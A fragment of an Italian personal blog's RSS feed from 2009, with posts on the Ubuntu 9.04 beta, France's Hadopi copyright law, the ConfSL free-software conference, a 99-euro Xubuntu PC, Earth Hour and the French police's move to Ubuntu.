<li><strong>Aggiornamento dei programmi</strong> : Firefox 3.1, Thunderbird 3.0, OpenOffice 3.0.1, X.Org 7.6, Pidgin 2.6, MySQL 5.1, PHP 5.2, Python 2.6.</li>
</ul>
<p>Per ulteriori informazioni vi rimando alla pagina ufficiale dove è possibile anche trovare gli attuali bug presenti nella nuova versione : <a title="Ubuntu 9.04 Jaunty Jackalope" href="http://www.ubuntu.com/testing/jaunty/beta" target="_blank"><strong>http://www.ubuntu.com/testing/jaunty/beta</strong></a></p>
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		<title>Three Strikes</title>
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		<pubDate>Mon, 06 Apr 2009 07:54:53 +0000</pubDate>
		<dc:creator>Wilky</dc:creator>
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		<description><![CDATA[Avete mai sentito parlare della Three Strikes Law? Divenne famosa negli anni &#8217;90 negli Stati Uniti e il termine venne coniato direttamente dal baseball: il battitore infatti ha 2 soli strike possibili prima dello strike out, lo strike eliminatore. In genere viene usata in ambito giuridico per reati criminali e in Francia hanno voluto associarla [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_618" class="wp-caption left" style="width: 224px"><a rel="attachment wp-att-618" href="http://www.wilky.it/wordpress/2009/04/06/three-strikes/three_strikes/"><img class="size-medium wp-image-618" title="Three Strikes" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/04/three_strikes-214x300.jpg" alt="Three Strikes" width="214" height="300" /></a><p class="wp-caption-text">Three Strikes</p></div>
<p>Avete mai sentito parlare della <a title="Three Strikes Law" href="http://en.wikipedia.org/wiki/Three_strikes_law" target="_blank"><strong>Three Strikes Law?</strong></a><br />
Divenne famosa negli anni &#8217;90 negli Stati Uniti e il termine venne coniato direttamente dal baseball: il battitore infatti ha 2 soli strike possibili prima dello strike out, <strong>lo strike eliminatore</strong>.<br />
In genere viene usata in ambito giuridico per reati criminali e in Francia hanno voluto associarla al reato di violazione del copyright.<br />
Infatti &#8220;<em>gli utenti sorpresi a condividere contenuti protetti da copyright saranno disconnessi da Internet per un periodo minimo di due mesi secondo l&#8217;insindacabile giudizio dell&#8217;<a title="Hadopi" href="http://fr.wikipedia.org/wiki/Loi_Hadopi" target="_blank"><strong>Hadopi</strong></a>, l&#8217;Autorità costituita appositamente a questo scopo.</em>&#8221;<br />
Insomma la Francia, lo stato europeo con le connessioni e le offerte migliori nel rapporto qualità-prezzo ha approvato una legge che renderà vano tale primato.</p>
<p><em>Con la Legge sulla <em>diffusion et la protection de la création sur internet</em> la Francia è il primo Paese in Europa ad aver sancito un principio che, da mesi, riecheggia da una costa all&#8217;altra del globo: quello secondo il quale, in nome dell&#8217;esigenza di tutelare la proprietà intellettuale, ci si può spingere a <strong>privare un cittadino della libertà di manifestare il proprio pensiero</strong> attraverso il mezzo di comunicazione per antonomasia nel secolo della Rete, un mezzo divenuto, peraltro, anche strumento irrinunciabile per l&#8217;esercizio di diritti civili e politici.</em><br />
Questo è quindi uno dei tanti modi per <strong>limitare la libertà d&#8217;espressione</strong> dei cittadini.<br />
La rete è lo strumento con cui ognuno può condividere le proprie idee tramite un blog, una email, un forum: è scomodo per certe persone e qui in Italia <a title="Legge d'Alia" href="http://www.beppegrillo.it/2009/02/il_merda_wall_c/index.html" target="_blank"><strong>ci stanno provando</strong></a> in ogni modo già da tempo.<br />
Non mi stupirebbe se qualche nostro parlamentare presentasse la medesima legge da un momento all&#8217;altro.</p>
<p>La Francia è l&#8217;occasione che &#8220;quei pochi&#8221; aspettavano.<br />
<strong>Italia nun fa la stupida stasera.</strong></p>
<p>Fonti :</p>
<ul>
<li><a title="Les Jeux Sont Fait" href="http://punto-informatico.it/2593772/PI/Commenti/les-jeux-sont-fait.aspx" target="_blank"><strong>Punto Informatico</strong></a></li>
<li><a title="Zeus News" href="http://www.zeusnews.it/index.php3?ar=stampa&amp;cod=9973&amp;numero=999" target="_blank"><strong>Zeus News</strong></a></li>
</ul>
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		<title>ConfSL 2009</title>
		<link>http://www.wilky.it/wordpress/2009/04/04/confsl/</link>
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		<pubDate>Sat, 04 Apr 2009 10:12:42 +0000</pubDate>
		<dc:creator>Wilky</dc:creator>
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		<description><![CDATA[III Conferenza Italiana sul Software Libero! Chi ti voi ha mai sentito parlare di software libero da copyright e diritti vari? Ebbene vi è un&#8217;intera ideologia dietro tale termine, carica di un significato molto importante, di una coscienza che tutti dovrebbero avere. Così Renzo Davoli, assieme a studenti e colleghi di università, si è dato [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_603" class="wp-caption left" style="width: 310px"><a rel="attachment wp-att-603" href="http://www.wilky.it/wordpress/2009/04/04/confsl/confsl/"><img class="size-full wp-image-603" title="ConfSL" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/04/confsl.jpg" alt="ConfSL" width="300" height="250" /></a><p class="wp-caption-text">ConfSL</p></div>
<p><strong>III Conferenza Italiana sul Software Libero!</strong><br />
Chi ti voi ha mai sentito parlare di software libero da copyright e diritti vari?<br />
Ebbene vi è un&#8217;intera <strong>ideologia</strong> dietro tale termine, carica di un significato molto importante, di una <strong>coscienza</strong> che tutti dovrebbero avere.<br />
Così <a title="Renzo Davoli" href="http://it.wikipedia.org/wiki/Renzo_Davoli" target="_blank"><strong>Renzo Davoli</strong></a>, assieme a studenti e colleghi di università, si è dato da fare per organizzare la 3a Conferenza Italiana sulle Libertà del Software.</p>
<p>Il <strong>12 e 13 giugno 2009</strong> Bologna ospita la terza Conferenza Italiana sul Software Libero, per fare il punto sullo stato dell&#8217;arte del Software Libero in Italia. Questo appuntamento è il luogo d&#8217;incontro di chi in Italia è attivo nella <strong>ricerca</strong> sul Software Libero, nello <strong>sviluppo</strong> di Software Libero, nella <strong>promozione</strong> e nella <strong>diffusione</strong> del Software Libero.<br />
Come nelle due precedenti edizioni (a Trento nel 2008 e a Cosenza nel 2007), sono attese a Bologna le varie anime del software libero in Italia, dai semplici utenti alle associazioni, dalle aziende agli enti pubblici, ai ricercatori e agli sviluppatori. I temi di interesse sono molteplici, <strong>coprendo tutte le possibili aree tematiche</strong> legate al Software Libero, dagli aspetti economici, giuridici e tecnici, a quelli etici, sociali e filosofici.<br />
Durante la Conferenza sono previste sessioni tematiche ed eventi paralleli a carattere sia accademico che divulgativo, coinvolgendo imprese, enti pubblici, università ed enti di ricerca, sviluppatori, ricercatori, cittadini, operatori del settore, ed appassionati, per conoscersi e avviare collaborazioni e progetti. In questa edizione saranno presenti numerosi spazi di dibattito e coinvolgimento dei partecipanti.</p>
<p>Ecco <strong>alcuni argomenti</strong> che verranno discussi durante la Conferenza:<br />
<strong>Track Aziende</strong></p>
<ul>
<li>Software libero “made in Italy”</li>
<li>Servizi “Made in Italy” al software libero</li>
<li>Hardware “Made in Italy” con software libero</li>
<li>Sistemi di larga scala basati su Software Libero (Database, ERP, Sistemi Informativi, …)</li>
</ul>
<p><strong>Track Enti Pubblici/PA/Scuola</strong></p>
<ul>
<li>Casi d&#8217;uso nella sanità, e-government</li>
<li>La didattica del software libero</li>
<li>La didattica con software libero</li>
<li>Master e curricula universitari sul software libero</li>
<li>Esperienze ECDL Free (non Free ECDL!)</li>
</ul>
<p>Vi invito quindi a leggere e seguire l&#8217;organizzazione dell&#8217;evento direttamente sul sito ufficiale : <a title="ConfSL" href="http://www.confsl.org/confsl09/" target="_blank"><strong>ConfSL</strong></a></p>
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		</item>
		<item>
		<title>Abaco : il PC a 99€</title>
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		<pubDate>Mon, 30 Mar 2009 18:58:07 +0000</pubDate>
		<dc:creator>Wilky</dc:creator>
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		<description><![CDATA[Abaco Primo è il primo computer pensato per essere veramente accessibile a chiunque e per incentivare un&#8217;informatizzazione libera ed aperta, puntando su consumi ridottissimi e di un prezzo veramente alla portata di tutti. Ideale per la famiglia che si affaccia al mondo informatico e che vuole vivere la sua prima esperienza evitando sprechi, godendo però [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_600" class="wp-caption left" style="width: 310px"><a rel="attachment wp-att-600" href="http://www.wilky.it/wordpress/2009/03/30/abaco-il-pc-a-99e/abaco/"><img class="size-medium wp-image-600" title="Abaco" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/03/abaco-300x200.jpg" alt="Abaco" width="300" height="200" /></a><p class="wp-caption-text">Abaco</p></div>
<p><em>Abaco Primo è il primo computer pensato per essere veramente accessibile a chiunque e per incentivare un&#8217;informatizzazione libera ed aperta, puntando su consumi ridottissimi e di un prezzo veramente alla portata di tutti. Ideale per la famiglia che si affaccia al mondo informatico e che vuole vivere la sua prima esperienza evitando sprechi, godendo però di tutte le applicazioni classiche: internet, posta, scrittura documenti, gestione foto e file multimediali, e molto altro. Abaco Primo e&#8217; fornito, nella sua configurazione base, in kit di montaggio, ma e&#8217; altresì possibile ordinarlo già assemblato ad un piccolo sovrapprezzo.</em><br />
Così viene descritto <a title="Abaco" href="http://www.abacocomputers.com/Computer-Desktop/Primo.html" target="_blank"><strong>Abaco</strong></a>, un computer fisso al prezzo di <strong>99€ (IVA inclusa)</strong>, con sistema operativo <a title="Xubuntu" href="http://www.xubuntu.org/" target="_blank"><strong>Linux Xubuntu</strong></a>.<br />
L&#8217;assemblaggio deve essere fatto in casa, perciò quel che arriva è un pacco con dentro l&#8217;hardware da montare.<br />
E&#8217; un PC ad uso minimale, come vedere un film, navigare sul web e gestire programmi d&#8217;ufficio, ma andiamo a vedere più nel dettaglio:</p>
<p><strong>Processore :</strong> Intel Atom 230 Single Core 1.6 Ghz<br />
<strong>Ram :</strong> 512 MB, Kingston DDR2 667Mhz (1 slot, max 2GB)<br />
<strong>Hard disk :</strong> 4 GB Kingston Compact Flash<br />
<strong>Masterizzatore :</strong> Opzionale<br />
<strong>Scheda video :</strong> Intel GMA 950<br />
<strong>Scheda audio :</strong> Realtek ALC662 con supp. 5.1 canali HD (dett. tecnici)<br />
<strong>Scheda di rete :</strong> Ethernet 10/100<br />
<strong>Slot PCI :</strong> 1 slot PCI<br />
<strong>Porte posteriori :</strong> VGA, Seriale e parallela, PS/2 per Tastiera e Mouse, 3 porte audio riconfigurabili, 4 porte USB<br />
<strong>Porte anteriori :</strong> Audio out e microfono, 2 porte USB<br />
<strong>Alimentazione :</strong> Alimentatore interno 400W<br />
<strong>Consumo :</strong> Idle: 22W, Picco: 29W<br />
<strong>Peso :</strong> 4.9Kg<br />
<strong>Dimensioni : </strong>37&#215;13.5&#215;35 cm<br />
<strong>Assemblaggio :</strong> Da effettuare a cura dell&#8217;utente<br />
<strong>Disponibilità : </strong>Spedizione in 6-8 gg. lavorativi<br />
<strong>Sistema operativo :</strong> XUbuntu Linux versione 8.04.1</p>
<p>Sul sito è inoltre possibile configurare il computer per renderlo migliore anche se ciò consiste nell&#8217;aumentare il prezzo <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
Il bello di Abaco è che è fatto da un&#8217;<strong>azienda italiana</strong> e che Linux, come al solito, si mostra versatile e migliore in ogni situazione <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p><strong>Fonte : <a title="Abaco" href="http://www.zeusnews.it/index.php3?ar=stampa&amp;cod=9919&amp;numero=999" target="_blank">Zeus News</a></strong></p>
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		<title>Earth Hour</title>
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		<pubDate>Sat, 28 Mar 2009 11:30:16 +0000</pubDate>
		<dc:creator>Wilky</dc:creator>
				<category><![CDATA[Articoli Importanti]]></category>
		<category><![CDATA[Ecologia]]></category>
		<category><![CDATA[Informazione]]></category>
		<category><![CDATA[Novità]]></category>

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		<description><![CDATA[Il 28 marzo, dalle 20,30 alle 21,30 è l’ Ora della Terra – Earth Hour. In tutto il mondo grandi città con i loro monumenti, piccoli comuni, aziende e singoli cittadini nelle loro case spengono le luci per chiedere ai grandi della Terra di agire contro i cambiamenti climatici. Un gesto semplice, per accendere un [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_591" class="wp-caption left" style="width: 287px"><a rel="attachment wp-att-591" href="http://www.wilky.it/wordpress/2009/03/28/earth-hour/earthour/"><img class="size-full wp-image-591" title="Earth Hour" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/03/earthour.jpg" alt="Earth Hour" width="277" height="130" /></a><p class="wp-caption-text">Earth Hour</p></div>
<p><strong>Il 28 marzo, dalle 20,30 alle 21,30 è l’ <a title="Earth Hour" href="http://www.wwf.it/oradellaterra/" target="_blank">Ora della Terra – Earth Hour.</a></strong><br />
In tutto il mondo grandi città con i loro monumenti, piccoli comuni, aziende e singoli cittadini nelle loro case spengono le luci per chiedere ai grandi della Terra di agire contro i cambiamenti climatici. Un gesto semplice, per accendere un messaggio che risuonerà in ogni angolo del Pianeta.<br />
<strong>E&#8217; l&#8217;iniziativa lanciata dal WWF per un Kyoto2!</strong></p>
<p>Le città che hanno aderito alla campagna sono 2.848 sparpagliate in 83 diverse nazioni. Dalle piccole isole del Sud Pacifico alle città più popolose di Asia e America: New York, Roma, Sydney, Nairobi, Londra, Atene, Mumbai, Bangkok, Il Cairo, Kuala Lumpur, Los Angeles, Parigi, Washington, Toronto, Barcellona, Mosca, Rio de Janeiro, Copenaghen, Hong Kong, Singapore, Dubai, Manila, Buenos Aires, Berlino, Città del Messico, Istanbul, Città del Capo e via dicendo.<br />
Tutte si sono rese disponibili a spegnere per un&#8217;ora le luci dei loro monumenti ed edifici più celebri. Resteranno così al buio le Piramidi di Giza e il Colosseo, l&#8217;Acropoli di Atene e la Cupola di San Pietro, la Torre Eiffel e l&#8217;Empire State Building, la via dei Casinò a Las Vegas e tantissimi altri luoghi simbolo.</p>
<p><strong>Contribuisci anche tu</strong> spegnendo le luci e gli apparecchi elettronici per un&#8217;ora!<br />
Se aderisci all&#8217;iniziativa iscriviti <a title="Iscriviti" href="http://www.wwf.it/oradellaterra/registrati.aspx" target="_blank"><strong>qui</strong></a>.</p>
<p><strong>Fonti :</strong></p>
<ul>
<li><a title="Earth Hour" href="http://www.wwf.it/oradellaterra/" target="_blank"><strong>WWF</strong></a></li>
<li><a title="Earth Hour" href="http://www.repubblica.it/2009/03/sezioni/ambiente/luci-spente/earth-hour/earth-hour.html" target="_blank"><strong>Repubblica</strong></a></li>
</ul>
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		<title>La Francia risparmia con l&#8217;Open Source!</title>
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		<pubDate>Mon, 23 Mar 2009 06:48:40 +0000</pubDate>
		<dc:creator>Wilky</dc:creator>
				<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Informazione]]></category>
		<category><![CDATA[Interessi]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Novità]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Ubuntu]]></category>

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		<description><![CDATA[La Francia è sempre un passo più avanti delle altre nazioni dell&#8217;Europa per quanto riguarda l&#8217;Information Tecnology. Parigi è il cuore di un sacco di nuovi progetti e moltissimi cervelloni informatici di ogni paese si recano nella capitale in pellegrinaggio, un po&#8217; come i musulmani fanno con la Mecca La notizia di una 100 Mb/s [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_582" class="wp-caption left" style="width: 242px"><a rel="attachment wp-att-582" href="http://www.wilky.it/wordpress/2009/03/23/la-francia-risparmia-con-lopen-source/windows-vs-linux/"><img class="size-medium wp-image-582" title="Windows VS Linux" src="http://www.wilky.it/wordpress/wp-content/uploads/2009/03/windows-vs-linux-232x300.jpg" alt="Windows VS Linux" width="232" height="300" /></a><p class="wp-caption-text">Windows VS Linux</p></div>
<p>La Francia è sempre un passo più avanti delle altre nazioni dell&#8217;Europa per quanto riguarda l&#8217;Information Tecnology.<br />
Parigi è il cuore di un sacco di nuovi progetti e moltissimi cervelloni informatici di ogni paese si recano nella capitale in pellegrinaggio, un po&#8217; come i musulmani fanno con la Mecca <img src='http://www.wilky.it/wordpress/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
La notizia di una <a title="100 Mb/s" href="http://www.webnews.it/news/leggi/5528/parigi-100-mbitsec-a-45-euro-mensili/" target="_blank"><strong>100 Mb/s a soli 45€ mensili</strong></a> aveva strabiliato tutti ma proprio ieri è uscita la notizia del passaggio da Windows a Linux da parte della polizia francese.</p>
<p>Il processo di transizione dal sistema proprietario a quello Open Source era iniziato già dal 2005 col passaggio da Office a Open Office.<br />
L&#8217;impulso a cambiare sistema operativo è stato dato proprio da casa Microsoft con il suo ultimo &#8220;capolavoro&#8221; Windows Vista.<br />
&#8220;<em>Passare da Windows Xp a Vista non ci avrebbe portato molti vantaggi e Microsoft ha detto che avremmo dovuto addestrare gli utenti. Passare da Xp a Ubuntu, invece, si è dimostrato molto facile. Le differenze maggiori stanno nelle icone e nei giochi. Ma i giochi non sono la nostra priorità</em>&#8220;. spiega il Tenente Colonnello Xavier Guimard della Gendarmerie Nationale.<br />
L&#8217;Open Source ha garantito un risparmio di <strong>50 milioni di euro</strong> alla polizia francese, diminuendo così del 70% il budget dedicato al settore IT.<br />
Nei prossimi anni è previsto un passaggio di 90.000 computer a Ubuntu!</p>
<p>L&#8217;economia e il risparmio è il primo problema che ci si pone, ma con Linux e l&#8217;Open Source si ha un passaggiato di qualità anche nel campo della <strong>sicurezza</strong> e della<strong> stabilità</strong>.<br />
Non a caso esiste una distribuzione chiamata <a title="SElinux" href="http://en.wikipedia.org/wiki/Selinux" target="_blank"><strong>SElinux</strong></a>, supportata direttamente dalla <strong>NSA</strong>, l&#8217;agenzia per la sicurezza nazionale degli Stati Uniti.<br />
Il Tenente Colonnello Guimard sostiene infine che il supporto dei formati aperti da parte di Linux è migliore rispetto a quello di Windows e che l&#8217;adozione del sistema operativo del pinguino ha semplificato sia l&#8217;<strong>interoperabilità</strong> con le altre reti  governative che i compiti di <strong>manutenzione remota</strong>.</p>
<p>Fonte : <strong><a title="La polizia francese risparmia milioni grazie a Linux" href="http://www.zeusnews.it/index.php3?ar=stampa&amp;cod=9664&amp;numero=999" target="_blank">La polizia francese risparmia milioni grazie a Linux</a></strong></p>
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